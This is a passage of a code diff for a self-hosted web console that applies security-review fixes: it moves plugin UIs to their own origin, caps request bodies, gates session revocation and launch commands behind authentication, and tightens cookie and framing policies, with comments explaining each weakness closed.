// unable to mutate (the Sec-Fetch-Site guard sees `same-site`, not
// `same-origin`).
// same SITE — because a cookie's scope ignores the port, and SameSite is computed on the
// site, not the origin. So the `SameSite=Lax` session cookie still flows to the
// plugin origin, and plugin pages keep loading their assets while logged in.
//
// That combination is why this works and why the obvious alternative does not: dropping
// `allow-same-origin` gives the frame an OPAQUE origin, which makes its subresource requests
// cross-site, which stops the Lax cookie, which 302s every plugin asset to /login — a blank frame.
//
// The console listener refuses `/plugin-ui/**` and the plugin listener refuses everything else
// (server/middleware/auth.ts). Both halves matter: without the first the old path still works;
// without the second, plugin JS could call `/api/**` on its OWN origin and get the admin bearer
// attached right back.
const LISTENER_HEADER = "x-pf-listener";
// TLS from the host's identity cert (file PATHS → Bun.file, not PEM-in-env). Absent ⇒ plain HTTP.
const certPath = process.env.PUNKTFUNK_UI_TLS_CERT;
const keyPath = process.env.PUNKTFUNK_UI_TLS_KEY;
@@ -76,13 +110,23 @@ if (!tls && secureFlag) {
process.exit(1);
}
const server = Bun.serve({
port: process.env.NITRO_PORT || process.env.PORT || 3000,
/** The shared `Bun.serve` options both listeners use — only the port and the stamped lane differ. */
const listenerOptions = (lane) => ({
host: process.env.NITRO_HOST || process.env.HOST,
// Bun defaults this to 10 s, which is SHORTER than the host's 15 s SSE keep-alive comment — so a
// proxied `/api/v1/events` stream (or any other quiet long-lived response) gets cut by us and
// reconnects on a loop. 120 s is comfortably above any keep-alive we forward; still overridable.
idleTimeout: Number.parseInt(process.env.NITRO_BUN_IDLE_TIMEOUT, 10) || 120,
// Cap the request body an UNAUTHENTICATED peer can make us hold in memory.
//
// `fetch` below buffers the whole body with `await req.arrayBuffer()` before Nitro — and
// therefore before the auth gate — has seen the request, so Bun's 128 MB default was the only
// bound on what a LAN peer could push into console RSS by POSTing to /login (2026-08-05 review
// L-10). Nothing the console legitimately accepts is remotely this large: the biggest real body
// is a hooks/library JSON edit, kilobytes. 4 MiB leaves several orders of headroom and still
// makes the memory cost of an unauthenticated request negligible.
maxRequestBodySize:
Number.parseInt(process.env.NITRO_BUN_MAX_BODY_BYTES, 10) || 4 * 1024 * 1024,
// `tls: undefined` ⇒ plain HTTP (dev); otherwise HTTPS over HTTP/1.1.
tls,
websocket: import.meta._websocket ? ws.websocket : undefined,
@@ -98,8 +142,10 @@ const server = Bun.serve({
// Strip any client-supplied value BEFORE stamping the real one (see PEER_IP_HEADER).
const headers = new Headers(req.headers);
headers.delete(PEER_IP_HEADER);
headers.delete(LISTENER_HEADER);
const peer = server.requestIP(req)?.address;
if (peer) headers.set(PEER_IP_HEADER, peer);
headers.set(LISTENER_HEADER, lane);
return nitroApp.localFetch(url.pathname + url.search, {
host: url.hostname,
protocol: url.protocol,
@@ -110,7 +156,39 @@ const server = Bun.serve({
});
},
});
const consolePort = Number(process.env.NITRO_PORT || process.env.PORT || 3000);
const server = Bun.serve({ ...listenerOptions("console"), port: consolePort });
console.log(`punktfunk web console listening on ${server.url} (tls=${!!tls})`);
// The plugin-UI origin. Its own port, everything else identical.
//
// A bind failure does NOT fall back to serving plugin UIs on the console origin — that is the hole
// this exists to close, and a security boundary that disappears when a port is busy is not one. It
// degrades to "plugin UIs unavailable": the console reads the state below and renders an
// explanation instead of a frame, and everything else about the console keeps working.
const pluginPort = Number(process.env.PUNKTFUNK_UI_PLUGIN_PORT || consolePort + 1);
let pluginServer;
try {
pluginServer = Bun.serve({ ...listenerOptions("plugin"), port: pluginPort });
// Read back by the app (server/util/pluginOrigin.ts) — same process, so process.env is the
// simplest channel, and it is only ever SET here, never trusted from the environment we started
// with (a stale inherited value would otherwise advertise a port nothing is listening on).
process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE = String(pluginPort);
process.env.PUNKTFUNK_UI_CONSOLE_PORT_ACTIVE = String(consolePort);
console.log(
`punktfunk plugin-UI origin listening on ${pluginServer.url} (tls=${!!tls})`,
);
} catch (e) {
delete process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE;
console.error(
`punktfunk web console: could not bind the plugin-UI origin on port ${pluginPort} ` +
`(${e?.message ?? e}). Plugin UIs are DISABLED until this is resolved — they are ` +
"deliberately not served on the console's own origin, because a plugin sharing that " +
"origin can act as the logged-in operator. Set PUNKTFUNK_UI_PLUGIN_PORT to a free port.",
);
}
if (import.meta._tasks) {
startScheduleRunner();
}
+64 -5
View File
@@ -6,6 +6,7 @@ import {
defineEventHandler,
getRequestHeader,
getRequestURL,
type H3Event,
sendRedirect,
setResponseHeader,
setResponseStatus,
@@ -18,25 +19,60 @@ import {
sessionEpoch,
uiPassword,
} from "../util/auth";
import {
consoleOriginPort,
isPluginUiPath,
listenerOf,
} from "../util/pluginOrigin";
export default defineEventHandler(async (event) => {
const { pathname } = getRequestURL(event);
const listener = listenerOf(event);
const isPluginPath = isPluginUiPath(pathname);
// ── the origin split (2026-08-05 review H-3) ────────────────────────────────────────────────
//
// Plugin UIs live on their own origin (see nitro-entry/bun-https.mjs). Enforcing that is two
// refusals, and BOTH are load-bearing:
//
// - the console origin must not serve `/plugin-ui/**`, or the old same-origin path still works
// and nothing has changed;
// - the plugin origin must not serve anything ELSE — above all not `/api/**`. Plugin JS is
// same-origin with the plugin listener, so if that listener proxied `/api/**` the BFF would
// attach the operator's admin bearer to the plugin's own fetch and hand back exactly the
// escalation we just moved.
//
// Unconditional, not conditional on the plugin listener having bound: if it did not, plugin UIs
// are disabled and refusing here is the correct answer, not a reason to fall back. (`vite dev`
// serves one origin, but its own middleware answers `/plugin-ui` before Nitro is reached, so
// this never fires there.)
if (listener === "console" && isPluginPath) {
setResponseStatus(event, 404);
return { error: "plugin UIs are served from their own origin" };
}
if (listener === "plugin" && !isPluginPath) {
setResponseStatus(event, 404);
return { error: "this origin serves plugin UIs only" };
}
// Baseline response headers for everything this server emits. Deliberately modest: a plugin's
// own UI is proxied onto THIS origin (/plugin-ui/**), so a script-src policy tight enough to be
// worth having would break third-party plugin pages we don't control. What is safe to assert
// unconditionally still closes the cheap holes:
// own UI is third-party code we don't control, so a script-src policy tight enough to be worth
// having would break the pages it serves. What is safe to assert unconditionally still closes
// the cheap holes:
// nosniff — a plugin serving text/plain that "looks like" HTML can't be sniffed into it
// frame-ancestors— only our own pages may frame the console (the plugin iframes are same-origin)
// frame-ancestors— who may frame this; see below, it differs per origin
// object-src — no Flash/applet embedding anywhere
// base-uri — a stray <base> can't repoint every relative URL on the page
// Referrer-Policy— never leak a console path (which can carry ids) to an external homepage link
setResponseHeader(event, "X-Content-Type-Options", "nosniff");
setResponseHeader(event, "Referrer-Policy", "no-referrer");
// `frame-ancestors 'self'` is right for the console and WRONG for the plugin origin: 'self'
// there means the plugin origin, and the console — now a different origin — is precisely who
// needs to frame it. So the plugin origin names the console explicitly, and nobody else.
setResponseHeader(
event,
"Content-Security-Policy",
"frame-ancestors 'self'; object-src 'none'; base-uri 'self'",
`frame-ancestors ${listener === "plugin" ? consoleFrameAncestor(event) : "'self'"}; object-src 'none'; base-uri 'self'`,
);
// Same-origin check for every MUTATING request (defense in depth beyond SameSite=Lax,
@@ -74,6 +110,13 @@ export default defineEventHandler(async (event) => {
setResponseStatus(event, 401);
return { error: "unauthorized" };
}
// The plugin origin has no /login to bounce to — it serves plugin UIs and nothing else, so a
// redirect there would land on this middleware's own 404. Answer plainly instead; the console
// probes plugin liveness server-side and renders the session-expired state itself.
if (listener === "plugin") {
setResponseStatus(event, 401);
return { error: "unauthorized" };
}
// Page navigation → bounce to the login screen, remembering where they were headed.
return sendRedirect(
event,
@@ -81,3 +124,19 @@ export default defineEventHandler(async (event) => {
302,
);
});
/**
* The console origin, as a `frame-ancestors` source, derived from the request the PLUGIN origin is
* answering: same scheme and hostname (whatever name the operator actually browsed to an IP, an
* mDNS name, a hostname so the policy matches their address bar), the console's port.
*
* Falls back to `'none'` rather than `'self'` or `*` when the console port is unknown: an unframable
* plugin page is a visible, harmless failure, and the alternatives are a policy that either does
* nothing or lets any page on the LAN frame a logged-in plugin UI.
*/
function consoleFrameAncestor(event: H3Event): string {
const port = consoleOriginPort();
if (!port) return "'none'";
const url = getRequestURL(event);
return `${url.protocol}//${url.hostname}:${port}`;
}
+14 -1
View File
@@ -4,16 +4,29 @@
// stayed valid for its whole 7-day TTL and "log out" logged nothing out. Bumping the epoch means
// the gate rejects every cookie sealed before now. Single-user console, so "log out" and "sign out
// everywhere" are the same action — which is the safer of the two to make the default.
//
// The global revocation is the part that needs authorizing. This route lives under `/_auth/`, which
// `isPublicPath` treats as public (the login form posts here), and the CSRF guard only fires when a
// `Sec-Fetch-Site` header is actually present — so an unauthenticated LAN peer with `curl` could
// bump the epoch on a loop and keep the operator permanently signed out of their own console
// (2026-08-05 review L-11). Revoking is now gated on holding a currently-valid session; clearing
// the CALLER's own cookie stays unconditional, because that affects nobody else and keeps a stale
// session's "log out" click behaving exactly as the user expects.
import { defineEventHandler, useSession } from "h3";
import {
revokeAllSessions,
type SessionData,
sessionConfig,
sessionEpoch,
} from "../../util/auth";
export default defineEventHandler(async (event) => {
const session = await useSession<SessionData>(event, sessionConfig());
// Read the state BEFORE clearing — `clear()` wipes what we need to authorize the revocation.
const authenticated =
session.data.authenticated === true &&
session.data.epoch === sessionEpoch();
await session.clear();
revokeAllSessions();
if (authenticated) revokeAllSessions();
return { ok: true };
});
+32
View File
@@ -0,0 +1,32 @@
// GET /_auth/ui-config — the handful of deployment facts the console UI cannot work out for itself.
//
// Today that is exactly one: where plugin UIs live. They are served from a different ORIGIN than
// the console (2026-08-05 review H-3), so the browser needs the port to build the iframe URL — and
// it must come from the server, because only the server knows whether that listener actually bound.
//
// Public (the `/_auth/` prefix is), which is fine: a port number is discoverable by connecting to
// it, and nothing here is a secret. Deliberately NOT an inference the client makes for itself
// (`location.port + 1` would silently point at whatever else is on that port).
import { defineEventHandler } from "h3";
import { pluginOriginPort } from "../../util/pluginOrigin";
export interface UiConfig {
/**
* How plugin UIs are reachable:
* - `origin` from their own origin on `pluginPort` (the deployed, secure arrangement)
* - `same-origin` `vite dev` only: one listener, and its own middleware serves `/plugin-ui`
* - `unavailable` the plugin listener could not bind. Plugin UIs are OFF; the console must
* not fall back to its own origin, which is the hole this all exists to close.
*/
pluginUi: "origin" | "same-origin" | "unavailable";
pluginPort: number | null;
}
export default defineEventHandler((): UiConfig => {
const port = pluginOriginPort();
if (port) return { pluginUi: "origin", pluginPort: port };
// `import.meta.dev` is Nitro's build-time dev flag — false in every shipped build, so a
// production bind failure can never resolve to the same-origin arrangement.
if (import.meta.dev) return { pluginUi: "same-origin", pluginPort: null };
return { pluginUi: "unavailable", pluginPort: null };
});
@@ -0,0 +1,41 @@
// GET /_plugin-health/<id> — is this plugin's UI actually up?
//
// The console needs this to decide between mounting the iframe and showing the offline card. It
// used to be a browser `fetch('/plugin-ui/<id>/__health')`, which worked only because plugin UIs
// were same-origin with the console — the very arrangement 2026-08-05 review H-3 removed. From a
// separate origin the browser could not read the answer without us serving CORS, so the probe moved
// here, to the console's own origin, and is done server-side.
//
// Session-gated like every other console route (it is not under a public prefix), so an
// unauthenticated LAN peer cannot enumerate which plugins are running.
import { defineEventHandler, getRouterParam, setResponseStatus } from "h3";
import { fetchUiCredential, PLUGIN_ID_RE } from "../../util/pluginProxy";
export default defineEventHandler(async (event) => {
const id = getRouterParam(event, "id") ?? "";
if (!PLUGIN_ID_RE.test(id)) {
setResponseStatus(event, 400);
return { ok: false, error: "not a valid plugin id" };
}
const cred = await fetchUiCredential(id);
if (!cred) {
setResponseStatus(event, 502);
return { ok: false, error: `plugin "${id}" is not running` };
}
try {
// The plugin's UI server is loopback-only and plain HTTP, exactly as the proxy dials it.
const resp = await fetch(`http://127.0.0.1:${cred.port}/__health`, {
headers: { authorization: `Bearer ${cred.secret}` },
redirect: "manual",
});
if (!resp.ok) {
setResponseStatus(event, 502);
return { ok: false, error: `health ${resp.status}` };
}
return { ok: true };
} catch {
// Port died between the credential lookup and the probe (plugin restarting).
setResponseStatus(event, 502);
return { ok: false, error: `plugin "${id}" is not reachable` };
}
});
@@ -0,0 +1,18 @@
// POST /api/v1/library/custom — creating a custom entry can install a command the host later runs
// as the host user (`prep`, or a `command` launch), so it joins hooks/update-apply/raw-install
// behind the console password when — and only when — the payload carries one of those fields.
// See util/libraryConfirm.ts for the reasoning; 2026-08-05 review M-6.
//
// Wins over the `/api/**` catch-all by h3 route specificity.
import { defineEventHandler, readBody } from "h3";
import { forwardJson } from "../../../../util/forward";
import { confirmIfCommandExecution } from "../../../../util/libraryConfirm";
export default defineEventHandler(async (event) => {
const body = await readBody<Record<string, unknown>>(event);
confirmIfCommandExecution(event, body, body?.password);
// Strip the confirmation before forwarding — the host has no such field and it must not leak
// upstream or into `library.json`.
const { password: _password, ...entry } = body ?? {};
return forwardJson(event, "/api/v1/library/custom", "POST", entry);
});
@@ -0,0 +1,19 @@
// PUT /api/v1/library/custom/{id} — same primitive and same gate as the create route: an UPDATE
// can install `prep` / a `command` launch just as well as a create can, and a gate that only
// covered create would be one PUT away from pointless. See util/libraryConfirm.ts; review M-6.
import { defineEventHandler, getRouterParam, readBody } from "h3";
import { forwardJson } from "../../../../../util/forward";
import { confirmIfCommandExecution } from "../../../../../util/libraryConfirm";
export default defineEventHandler(async (event) => {
const id = getRouterParam(event, "id") ?? "";
const body = await readBody<Record<string, unknown>>(event);
confirmIfCommandExecution(event, body, body?.password);
const { password: _password, ...entry } = body ?? {};
return forwardJson(
event,
`/api/v1/library/custom/${encodeURIComponent(id)}`,
"PUT",
entry,
);
});
+14 -3
View File
@@ -174,9 +174,20 @@ export function sessionConfig(): SessionConfig {
sameSite: "lax",
path: "/",
// h3 defaults Secure to true, which browsers DROP over plain http:// (so login
// silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS
// (set PUNKTFUNK_UI_SECURE=1 / =true then).
secure: /^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""),
// silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS.
//
// Derived from whether TLS is CONFIGURED, not from `PUNKTFUNK_UI_SECURE` alone
// (2026-08-05 review L-20). The entry point already refuses the inverse mistake —
// `PUNKTFUNK_UI_SECURE` without TLS exits rather than serving a console whose cookie
// the browser will never store — but nothing caught this direction: TLS configured and
// the flag forgotten shipped a session cookie without `Secure`, which a browser will
// then also send over a plain-http downgrade. The env var still forces it on for a
// deploy terminating TLS in front of us (a reverse proxy), where this process sees no
// cert of its own.
secure:
(!!process.env.PUNKTFUNK_UI_TLS_CERT &&
!!process.env.PUNKTFUNK_UI_TLS_KEY) ||
/^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""),
},
};
}
+47
View File
@@ -0,0 +1,47 @@
// Shared password gate for the library writes that carry the SAME primitive `hooks.put.ts` gates.
//
// A custom library entry can carry `prep` (commands run before the title launches) and a
// `launch.kind === "command"` (a shell command run at launch). Both are executed verbatim as the
// host user — `/bin/sh -c` on Linux, `cmd.exe /c` on Windows — which is the very thing the hooks
// gate exists to stop a bare session cookie from doing: *"a 7-day session cookie must not be enough
// to leave a persistent command behind on the machine."*
//
// `confirm.ts` gated three routes and these were not among them, so the identical primitive fell
// through the ungated `/api/**` catch-all where the BFF attaches the admin bearer unconditionally
// (2026-08-05 review M-6). Anyone with a session cookie but not the password — a borrowed browser,
// an exfiltrated cookie, a stale 7-day session after a password rotation — could leave a command
// behind. `SameSite=lax` blocks a plain cross-site POST, so this is cookie possession rather than
// drive-by CSRF, but the invariant is the same one.
//
// The gate is CONDITIONAL on the payload actually carrying one of those fields. An ordinary library
// edit — title, artwork, platform, a `steam_appid` launch — is not code execution and prompting for
// it would only train the operator to type their password without reading it. Same reasoning as
// "a catalog install from an already-trusted source is deliberately NOT gated" in `confirm.ts`.
import type { H3Event } from "h3";
import { confirmPassword } from "./confirm";
/** The shape the gate inspects; everything else about the entry is none of its business. */
interface EntryLike {
prep?: unknown;
launch?: { kind?: unknown } | null;
}
/** Does this entry carry a field the host will hand to a shell? */
export function carriesCommandExecution(entry: EntryLike | null | undefined): boolean {
if (!entry || typeof entry !== "object") return false;
if (Array.isArray(entry.prep) && entry.prep.length > 0) return true;
return entry.launch?.kind === "command";
}
/**
* Re-verify the console password iff `entries` contains a command-execution field. Throws the same
* 401/429/503 `confirmPassword` does; returns normally when the gate does not apply.
*/
export function confirmIfCommandExecution(
event: H3Event,
entries: EntryLike | EntryLike[] | null | undefined,
password: unknown,
): void {
const list = Array.isArray(entries) ? entries : [entries];
if (list.some(carriesCommandExecution)) confirmPassword(event, password);
}
+51
View File
@@ -0,0 +1,51 @@
// Which listener a request arrived on, and where plugin UIs live.
//
// Plugin UIs are served from a DIFFERENT ORIGIN than the console (a second listener on its own
// port — see nitro-entry/bun-https.mjs for why). Two things need to know about that split: the
// gate, which enforces that neither origin serves the other's paths, and the console UI, which has
// to build the iframe URL against the right origin.
import type { H3Event } from "h3";
import { getRequestHeader } from "h3";
/** Set by the server entry on every request; any inbound copy is stripped first. */
const LISTENER_HEADER = "x-pf-listener";
export type Listener = "console" | "plugin";
/**
* Which listener served this request. Absent `console`, which is the safe default: it is what
* `vite dev` looks like (one listener, and its own middleware intercepts `/plugin-ui` before Nitro
* ever sees it), and treating an unknown lane as the console means the plugin-path refusal below
* applies rather than the console-path one deny the escalation, not the ordinary console.
*/
export function listenerOf(event: H3Event): Listener {
return getRequestHeader(event, LISTENER_HEADER) === "plugin"
? "plugin"
: "console";
}
/** Paths the plugin origin serves. Everything else on that origin is refused. */
export function isPluginUiPath(pathname: string): boolean {
return pathname === "/plugin-ui" || pathname.startsWith("/plugin-ui/");
}
/**
* The port the plugin-UI origin is listening on, or `null` when there is none either the bind
* failed (production: plugin UIs are disabled, deliberately, rather than falling back to the
* console origin) or this is `vite dev`, which serves everything from one port.
*
* Read from the value the entry SETS after a successful bind, never from the configured-but-unbound
* one, so this can never advertise a port nothing is listening on.
*/
export function pluginOriginPort(): number | null {
const raw = process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE;
const port = raw ? Number(raw) : Number.NaN;
return Number.isInteger(port) && port > 0 ? port : null;
}
/** The console's own port, for the plugin origin's `frame-ancestors`. */
export function consoleOriginPort(): number | null {
const raw = process.env.PUNKTFUNK_UI_CONSOLE_PORT_ACTIVE;
const port = raw ? Number(raw) : Number.NaN;
return Number.isInteger(port) && port > 0 ? port : null;
}
+49
View File
@@ -0,0 +1,49 @@
// Where plugin UIs live, from the server that knows.
//
// Plugin UIs are served from a DIFFERENT ORIGIN than the console (2026-08-05 review H-3): same
// scheme and host, its own port. The console has to build iframe and new-tab URLs against that
// origin, and the port has to come from the server — only it knows whether the listener bound.
import { useQuery } from "@tanstack/react-query";
export interface UiConfig {
pluginUi: "origin" | "same-origin" | "unavailable";
pluginPort: number | null;
}
/**
* Deployment facts the console cannot infer. Cached for the session the ports cannot change
* without the server restarting, which reloads the page anyway.
*/
export const useUiConfig = () =>
useQuery({
queryKey: ["ui-config"],
queryFn: async (): Promise<UiConfig> => {
const r = await fetch("/_auth/ui-config", {
credentials: "same-origin",
});
if (!r.ok) throw new Error(`ui-config ${r.status}`);
return (await r.json()) as UiConfig;
},
staleTime: Number.POSITIVE_INFINITY,
retry: 2,
});
/**
* The origin serving plugin UIs, or `null` when there is none and the console must say so rather
* than render a frame.
*
* Built from the CURRENT location's scheme and hostname, so it follows whatever address the
* operator actually browsed to an IP, an mDNS name, a hostname and only the port differs. That
* matters for more than cosmetics: it keeps the origin same-SITE with the console, which is what
* lets the `SameSite=Lax` session cookie reach the plugin listener at all.
*/
export function pluginOriginFrom(
config: UiConfig | undefined,
): string | null | undefined {
if (!config) return undefined; // still loading — render neither frame nor error
if (config.pluginUi === "same-origin") return ""; // vite dev: relative URLs, one origin
if (config.pluginUi === "origin" && config.pluginPort) {
return `${window.location.protocol}//${window.location.hostname}:${config.pluginPort}`;
}
return null; // unavailable — the listener did not bind
}
+57
View File
@@ -23,6 +23,14 @@ interface FormState {
header: string;
logo: string;
command: string;
/** Console-password re-confirmation, required only when `command` is set see the field's
* own comment at the render site (2026-08-05 review M-6). Never round-tripped from the
* server, so it is always empty on open, including when editing an entry that has one. */
password: string;
/** `true` = this entry opens a launcher rather than a game (design D4). Purely presentational:
* the console groups launcher entries into their own rail, and clients that don't know the
* field render them as ordinary tiles. */
isLauncher: boolean;
// Details — the flattened GameMeta fields; numbers and lists are kept as the raw
// text the user typed and only parsed on submit.
platform: string;
@@ -43,6 +51,8 @@ const emptyForm: FormState = {
header: "",
logo: "",
command: "",
password: "",
isLauncher: false,
platform: "",
description: "",
developer: "",
@@ -62,6 +72,10 @@ function formFrom(entry: GameEntry): FormState {
header: entry.art.header ?? "",
logo: entry.art.logo ?? "",
command: entry.launch?.kind === "command" ? entry.launch.value : "",
password: "",
// Round-tripped like every other field: `update_custom` REPLACES the whole entry, so an
// unread field here would silently demote a launcher entry back to a game on any edit.
isLauncher: entry.role === "launcher",
platform: entry.platform ?? "",
description: entry.description ?? "",
developer: entry.developer ?? "",
@@ -104,6 +118,11 @@ function toInput(f: FormState): CustomInput {
logo: trim(f.logo),
},
launch: command ? { kind: "command", value: command } : null,
// The BFF re-verifies this and strips it before forwarding; the host never sees the field.
// Only sent when there is a command to authorize, matching the conditional gate.
...(command ? { password: f.password } : {}),
// Omitted when it is the default, matching the host's skip-when-`game` serialization.
...(f.isLauncher ? { role: "launcher" as const } : {}),
platform: trim(f.platform),
description: trim(f.description),
developer: trim(f.developer),
@@ -208,6 +227,8 @@ export const GameForm: FC<{
e.preventDefault();
const data = toInput(form);
if (!data.title) return;
// A command is code the host will run on its own; the password field is required with it.
if (form.command.trim() && !form.password) return;
onSubmit(data);
};
@@ -270,6 +291,42 @@ export const GameForm: FC<{
onChange={set("command")}
help={m.library_field_command_help()}
/>
{/* A launch command is a shell command the host runs as the host user, so saving
one clears the same bar as a hook or an unreviewed install: the console
password, not just a 7-day session cookie (2026-08-05 review M-6). Shown only
when there is a command to authorize gating an ordinary title/art edit
would just train the operator to type it without reading. */}
{form.command.trim() && (
<Field
id="password"
label={m.library_field_password()}
value={form.password}
onChange={set("password")}
help={m.library_field_password_help()}
type="password"
required
/>
)}
{/* Design D4: a launcher entry opens the launcher itself rather than a title. It
launches and leases like any other entry this only moves it into the
console's Launchers rail. Hand-adding one is the supported way to get a
"Heroic" or "Lutris" tile without installing that source's plugin. */}
<div className="space-y-2">
<div className="flex items-center gap-2">
<input
id="lib-isLauncher"
type="checkbox"
checked={form.isLauncher}
onChange={(e) =>
setForm((f) => ({ ...f, isLauncher: e.target.checked }))
}
/>
<Label htmlFor="lib-isLauncher">{m.library_field_role()}</Label>
</div>
<p className="text-xs text-muted-foreground">
{m.library_field_role_help()}
</p>
</div>
<fieldset className="space-y-4 border-t pt-2">
<legend className="sr-only">{m.library_details_legend()}</legend>
<p
+136 -23
View File
@@ -1,14 +1,20 @@
// A plugin's UI, embedded in the console (plugin-ui-surface §5). We probe the plugin's liveness
// first and only mount the iframe when it answers — otherwise the iframe would show the proxy's raw
// 502. The iframe is same-origin (proxied through /plugin-ui), so the plugin can talk to its own
// loopback REST with the operator's session and, optionally, keep the address bar in sync by posting
// `{ type: "pf-ui:navigate", path }` to the parent.
// 502.
//
// The iframe is CROSS-ORIGIN: plugin UIs are served from their own origin (same scheme and host,
// its own port — see nitro-entry/bun-https.mjs and 2026-08-05 review H-3). The plugin can still talk
// to its own loopback REST with the operator's session, because that origin is same-SITE and the
// `SameSite=Lax` cookie reaches it; what it can no longer do is read or drive the console. It may
// still keep the address bar in sync by posting `{ type: "pf-ui:navigate", path }` to the parent —
// now verified against the plugin origin before it is honoured.
import { useQuery } from "@tanstack/react-query";
import { getRouteApi, useNavigate } from "@tanstack/react-router";
import { ExternalLink, RefreshCw } from "lucide-react";
import { type FC, useEffect, useMemo, useRef } from "react";
import { pluginIcon, usePlugins } from "@/api/plugins";
import { useInstalledPlugins } from "@/api/store";
import { pluginOriginFrom, useUiConfig } from "@/api/uiConfig";
import { Button } from "@/components/ui/button";
import { useLocale } from "@/lib/i18n";
import { m } from "@/paraglide/messages";
@@ -34,14 +40,21 @@ export const SectionPlugin: FC = () => {
const { data: installed } = useInstalledPlugins();
const provenance = installed?.find((p) => p.plugin_id === pluginId);
// Where plugin UIs are served from. `undefined` = still resolving, `null` = the plugin listener
// did not bind, so there is nowhere safe to render this and we say so instead of falling back to
// the console's own origin — that fallback IS the vulnerability.
const { data: uiConfig } = useUiConfig();
const pluginOrigin = pluginOriginFrom(uiConfig);
// Liveness: a 200 from /__health means the plugin is up.
//
// Two subtleties, both learned the hard way:
//
// - A 200 is not enough. `fetch` follows redirects, so an expired session — where the gate
// answers 302 → /login → 200 HTML — looked exactly like a healthy plugin, and the console
// rendered its own login page inside the plugin's iframe. `redirect: "manual"` makes that
// an opaque response we can reject instead.
// rendered its own login page inside the plugin's iframe. This now asks the CONSOLE origin,
// which probes the plugin server-side (the plugin origin is cross-origin to us and would need
// CORS to be readable from here) — and a bounced session is a plain 401, not HTML.
// - One failure must not be terminal. The runner is restarted at the end of every successful
// install, so a single missed probe is routine; giving up on the first one threw away
// whatever the operator had open in another plugin. Retry a few times, and keep probing on a
@@ -49,11 +62,11 @@ export const SectionPlugin: FC = () => {
const health = useQuery({
queryKey: ["plugin-health", pluginId],
queryFn: async () => {
const r = await fetch(`/plugin-ui/${pluginId}/__health`, {
const r = await fetch(`/_plugin-health/${pluginId}`, {
credentials: "same-origin",
redirect: "manual",
});
// `type === "opaqueredirect"` is the gate bouncing us to /login, not the plugin answering.
// `type === "opaqueredirect"` is the gate bouncing us to /login, not an answer.
if (r.type === "opaqueredirect") throw new Error("session expired");
if (!r.ok) throw new Error(`health ${r.status}`);
return true;
@@ -62,18 +75,49 @@ export const SectionPlugin: FC = () => {
refetchInterval: (q) => (q.state.status === "error" ? 5_000 : 20_000),
});
// Is the plugin ORIGIN reachable from this browser? Distinct from "is the plugin running".
//
// The console is served with the host's own self-signed certificate, and a browser stores a
// certificate exception PER ORIGIN — including the port. So the operator having trusted
// https://host:47992 says nothing about https://host:47993, and a certificate interstitial
// cannot be shown (let alone accepted) inside an iframe: the frame would just sit blank, with no
// way to fix it and nothing on screen explaining why.
//
// A `no-cors` probe distinguishes the two cases without needing CORS: the response is opaque and
// unreadable either way, but a TLS failure REJECTS while an ordinary answer — even a 401 —
// resolves. Rejection therefore means "this browser will not talk to that origin yet", which is
// a one-time, fixable thing, so we say so and link to it.
const reachable = useQuery({
queryKey: ["plugin-origin-reachable", pluginOrigin],
enabled: !!pluginOrigin,
queryFn: async () => {
await fetch(`${pluginOrigin}/plugin-ui/${pluginId}/__health`, {
mode: "no-cors",
cache: "no-store",
});
return true;
},
retry: 1,
staleTime: 60_000,
});
// The iframe src is fixed at the initial deep-link path; the plugin's own in-app navigation drives
// the console URL via postMessage (below), never the src — so there's no reload loop.
// biome-ignore lint/correctness/useExhaustiveDependencies: intentionally pinned to the initial path
const initialSrc = useMemo(
() => `/plugin-ui/${pluginId}/${_splat ?? ""}`,
[pluginId],
() => `${pluginOrigin ?? ""}/plugin-ui/${pluginId}/${_splat ?? ""}`,
[pluginId, pluginOrigin],
);
// Keep the console address bar in sync with the plugin's internal routing.
useEffect(() => {
const onMessage = (e: MessageEvent) => {
if (e.source !== iframeRef.current?.contentWindow) return;
// Now that the frame is cross-origin, `e.origin` is a real check rather than a tautology:
// only the plugin origin may drive the console's address bar. (Empty `pluginOrigin` is
// the vite-dev same-origin arrangement, where `e.origin` is our own.)
const expected = pluginOrigin || window.location.origin;
if (e.origin !== expected) return;
const data = e.data as { type?: string; path?: string };
if (data?.type === "pf-ui:navigate" && typeof data.path === "string") {
navigate({
@@ -85,7 +129,7 @@ export const SectionPlugin: FC = () => {
};
window.addEventListener("message", onMessage);
return () => window.removeEventListener("message", onMessage);
}, [pluginId, navigate]);
}, [pluginId, navigate, pluginOrigin]);
return (
<div className="flex h-[calc(100dvh-7rem)] min-h-[480px] flex-col gap-3 sm:h-[calc(100dvh-5rem)]">
@@ -99,27 +143,45 @@ export const SectionPlugin: FC = () => {
</span>
)}
{provenance && <TierBadge tier={provenance.tier} />}
<a
href={`/plugin-ui/${pluginId}/`}
target="_blank"
rel="noreferrer"
className="ml-auto inline-flex items-center gap-1.5 text-sm text-muted-foreground transition-colors hover:text-foreground"
>
<ExternalLink className="size-4" />
{m.plugin_open_new_tab()}
</a>
{/* Full-window, on the PLUGIN origin. This link used to be the same escalation as the
iframe with no sandbox involved at all a top-level document on the console origin,
holding the operator's session. It only stops being that because the origin moved,
which is why the fix could never have been a sandbox attribute. */}
{pluginOrigin !== null && pluginOrigin !== undefined && (
<a
href={`${pluginOrigin}/plugin-ui/${pluginId}/`}
target="_blank"
rel="noreferrer"
className="ml-auto inline-flex items-center gap-1.5 text-sm text-muted-foreground transition-colors hover:text-foreground"
>
<ExternalLink className="size-4" />
{m.plugin_open_new_tab()}
</a>
)}
</div>
{health.isError ? (
{pluginOrigin === null ? (
<UnavailableCard />
) : reachable.isError ? (
<UntrustedOriginCard
href={`${pluginOrigin}/plugin-ui/${pluginId}/`}
onRetry={() => reachable.refetch()}
/>
) : health.isError ? (
<OfflineCard title={title} onRetry={() => health.refetch()} />
) : health.isSuccess ? (
) : health.isSuccess && pluginOrigin !== undefined ? (
<iframe
ref={iframeRef}
src={initialSrc}
title={title}
className="w-full flex-1 rounded-lg border bg-card"
// The plugin is operator-installed code on our own origin (no new trust boundary —
// plugin-ui-surface §7.4); allow it to run scripts, forms, popups, and full-window.
// `allow-same-origin` is correct HERE and was the vulnerability BEFORE, because what
// counts as "same origin" changed underneath it: the frame now loads from the plugin
